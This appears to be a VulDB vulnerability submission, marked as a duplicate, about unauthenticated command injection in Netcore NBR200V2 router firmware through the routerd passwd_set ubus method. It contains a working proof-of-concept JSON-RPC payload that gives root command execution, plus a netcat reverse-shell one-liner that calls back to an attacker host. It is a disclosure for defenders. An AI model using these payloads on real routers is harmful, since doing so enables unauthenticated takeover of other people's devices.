| Titel | Netcore磊科 Router Firmware NBR200V2_V1.3.241127.071246 Command Injection |
|---|
| Beschreibung | An unauthenticated command injection vulnerability (CWE-78) was identified in the Netcore NBR200V2 router, firmware version V1.3.241127.071246 (LEDE 17.01, mipsel / MT7621).
The web stack (uhttpd, ports 80/443/23355) exposes a ubus JSON-RPC endpoint at /ubus (enabled by default via /etc/uci-defaults/00_uhttpd_ubus). While the device is in its factory / pre-initialization state (before the first-boot setup wizard completes, or after a factory reset), the permissive rpcd ACL /usr/share/rpcd/acl.d/unauthenticated.json grants unauthenticated access to dangerous methods, including routerd.passwd_set.
The passwd_set handler of the /usr/bin/routerd service (ubus object "routerd", running as root) takes the user-controlled "pwd" parameter and passes it without any sanitization into a command template executed via system():
snprintf(buf, ..., "uci set auto_ac.auto_ac.passwd=%s;uci commit auto_ac", pwd);
system(buf);
Because the value is embedded unquoted, a pwd value such as x;<cmd> breaks out and injects an arbitrary OS command with root privileges (captured on device: sh -c "uci set auto_ac.auto_ac.passwd=x;id>/tmp/pwn;uci commit auto_ac"). The payload must not end with ';' because the template already appends ";uci commit auto_ac" (';;' would be a shell syntax error aborting everything).
Exploitation requires no credentials in the pre-init window; the device state can be checked unauthenticated via routerd.app_info ("initialized":0). After initialization completes, the ACL is swapped to unauthenticated.json.initialized and passwd_set is no longer exposed without a session.
Proof of concept:
Step 1 - unauthenticated ubus call with injection in pwd:
POST /ubus HTTP/1.1
{"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","routerd","passwd_set",{"user":"root","pwd":"x;id>/tmp/pwn","by":"web"}]}
Response: {"jsonrpc":"2.0","id":1,"result":[0]}
Step 2 - the file /tmp/pwn on the device then contains: uid=0(root) gid=0(root) groups=0(root)
A reverse shell is obtainable despite the firmware busybox nc lacking -e, using a two-channel scheme in the pwd value:
x;tail -f /dev/null|nc <LHOST> <LPORT1>|/bin/sh|nc <LHOST> <LPORT2>
The vulnerability was dynamically verified against the firmware emulated with qemu-mipsel user-mode emulation (stock uhttpd + /ubus plugin + rpcd, pre-init state); arbitrary commands were executed with root privileges without authentication, and an interactive root reverse shell back to the attacker host was confirmed. Further details are available in the referenced GitHub advisory. |
|---|
| Quelle | ⚠️ https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/netcore_NBR200V2_V1.3.241127.071246%20Router/Netcore_NBR200V2_passwd_set_command_injection.md |
|---|
| Benutzer | llsss (UID 96233) |
|---|
| Einreichung | 10.08.2026 11:08 (vor 2 Monaten) |
|---|
| Moderieren | 27.09.2026 12:24 (2 months later) |
|---|
| Status | Duplikat |
|---|
| VulDB Eintrag | 310234 [Netcore NBR200V2 bis 20250508 HTTP Header /usr/bin/routerd passwd_set pwd erweiterte Rechte] |
|---|
| Punkte | 0 |
|---|